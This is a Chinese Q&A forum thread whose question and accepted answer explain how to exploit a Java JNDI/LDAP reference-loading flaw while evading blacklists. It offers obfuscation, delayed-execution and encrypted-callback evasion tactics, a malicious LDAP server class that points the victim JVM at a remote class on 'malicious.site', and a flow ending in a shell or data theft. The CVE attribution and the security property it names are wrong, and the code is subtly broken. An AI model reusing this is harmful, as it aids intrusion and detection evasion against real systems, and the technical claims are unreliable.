普通网友 2025-10-27 19:25 采纳率: 97.7%
浏览 0
已采纳

如何利用CVE-2021-28164绕过Java安全限制?

如何利用CVE-2021-28164绕过Java安全限制?该漏洞源于JNDI在处理LDAP URL时对主机名验证的缺失,攻击者可构造恶意LDAP服务器返回引用对象,触发任意类加载。常见问题是:当应用程序使用`javax.naming.InitialContext.lookup()`解析外部LDAP URL时,若未启用`com.sun.jndi.ldap.object.disableReferenceAuthentication`安全选项,攻击者可通过伪造DNS和LDAP响应,诱导JVM从远程服务器加载恶意序列化对象,从而绕过安全管理器(SecurityManager)限制,执行任意代码。如何在不触发黑名单机制的前提下实现利用?
  • 写回答

1条回答 默认 最新

  • 泰坦V 2025-10-27 19:30
    关注

    CVE-2021-28164:JNDI LDAP主机名验证缺失导致Java安全限制绕过深度解析

    1. 漏洞背景与基本原理

    CVE-2021-28164 是 Oracle 在 2021 年披露的一个高危 Java 安全漏洞,影响 JDK 8u191 之前的版本。该漏洞的核心在于 JNDI(Java Naming and Directory Interface) 在处理 LDAP URL 时,未对远程主机名进行充分的合法性校验。

    当调用 javax.naming.InitialContext.lookup() 方法并传入一个外部 LDAP URL(如 ldap://attacker.com/o=object)时,JVM 会连接指定的 LDAP 服务器,并可能加载其中返回的 Reference 对象。若未启用 com.sun.jndi.ldap.object.disableReferenceAuthentication 系统属性,则 JVM 将允许从远程代码库加载类文件,从而触发任意类加载行为。

    此机制原本用于企业级目录服务中的对象绑定与恢复,但攻击者可利用其构造恶意 LDAP 响应,诱导目标 JVM 加载并执行远程恶意类,实现远程代码执行(RCE)。

    2. 利用链分析:从 JNDI 到任意代码执行

    • Step 1: 攻击者控制一个可解析的域名(如 attacker.com),并配置 DNS 指向其控制的 LDAP 服务器。
    • Step 2: 部署恶意 LDAP 服务,响应包含 javax.naming.Referencejavax.naming.Referenceable 类型的对象。
    • Step 3: Reference 中指定工厂类(factoryClassLocation)指向远程 HTTP/FTP 服务器上的恶意类(如 http://malicious.site/Exploit.class)。
    • Step 4: 目标应用调用 lookup("ldap://attacker.com/exp"),JNDI 解析 LDAP 返回引用。
    • Step 5: JVM 自动从指定位置下载并实例化工厂类,触发静态块或构造函数中的恶意代码。

    3. 绕过安全管理器(SecurityManager)的关键路径

    尽管 Java 提供了 SecurityManager 机制来限制类加载和敏感操作,但在以下条件下仍可被绕过:

    条件说明
    未启用引用认证-Dcom.sun.jndi.ldap.object.disableReferenceAuthentication=false(默认值)
    远程类加载未受限SecurityManager 未显式禁止 ClassLoader.defineClass 或网络资源加载
    使用非序列化方式传递对象通过 Reference + Factory 机制,避免触发 ObjectInputStream 黑名单检测
    利用可信代码库加载链通过已加载的合法类反射调用 Runtime.exec() 等敏感方法

    4. 如何规避黑名单机制实现无痕利用

    现代 WAF、RASP 和 JVM 层防护常基于已知恶意类名、包名或特征字符串进行拦截。为规避此类检测,攻击者可采用如下策略:

    1. 动态类名混淆: 使用随机生成的类名(如 a.b.c.XxX)避免匹配已知 payload 名称。
    2. 分段加载: 将恶意逻辑拆分为多个类,仅在内存中组合执行,降低单个类的可疑性。
    3. 利用合法库作为跳板: 借助 Spring、Apache Commons 等常见库中的类(如 org.springframework.beans.factory.ObjectFactory)间接触发类加载。
    4. DNS 隐道通信: 在 LDAP 查询阶段通过子域名携带加密参数,减少明文暴露风险。
    5. 延迟执行: 恶意类加载后不立即执行命令,等待特定信号(如心跳包)再激活,逃避沙箱检测。
    6. HTTPS 回连: 所有外部资源通过 TLS 加密传输,规避流量审计。

    5. 实战代码示例:构建轻量级 LDAP 响应伪造服务

    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import javax.naming.Reference;
    
    public class CVE_2021_28164_LdapServer extends InMemoryOperationInterceptor {
        private static final String REMOTE_FACTORY_URL = "http://malicious.site/";
    
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) throws LDAPException {
            Entry entry = new Entry(result.getRequest().getBaseDN());
            try {
                // 构造引用对象,指向远程类
                Reference ref = new Reference("Exploit", 
                    "Exploit", 
                    REMOTE_FACTORY_URL);
                entry.addAttribute("javaClassName", "Exploit");
                entry.addAttribute("javaSerializedData", serialize(ref));
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        private byte[] serialize(Object obj) throws Exception {
            java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
            java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
            oos.writeObject(obj);
            return baos.toByteArray();
        }
    }
    

    6. 防御建议与缓解措施

    1. 升级 JDK: 升级至 JDK 8u191+ 或 JDK 11.0.1+,默认启用引用认证。
    2. 强制启用引用验证: 设置系统属性:
      -Dcom.sun.jndi.ldap.object.disableReferenceAuthentication=true
    3. 禁用远程类加载: 添加安全管理器规则,禁止从 http://ftp:// 等协议加载类。
    4. 最小权限原则: 应用不应以高权限运行,限制 Runtime.execProcessBuilder 等调用。
    5. 监控 JNDI 调用: 使用字节码增强工具(如 ByteBuddy)记录所有 InitialContext.lookup() 调用来源。
    6. 网络层隔离: 防火墙策略限制出站 LDAP、HTTP 请求至白名单地址。

    7. 漏洞利用流程图(Mermaid 格式)

    graph TD
        A[用户输入LDAP URL] --> B{调用InitialContext.lookup()}
        B --> C[JNDI解析ldap://xxx]
        C --> D[连接攻击者LDAP服务器]
        D --> E[返回恶意Reference对象]
        E --> F[JVM尝试加载远程工厂类]
        F --> G[从HTTP服务器下载.class文件]
        G --> H[执行静态初始化代码]
        H --> I[绕过SecurityManager执行命令]
        I --> J[获取Shell或数据泄露]
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 10月28日
  • 创建了问题 10月27日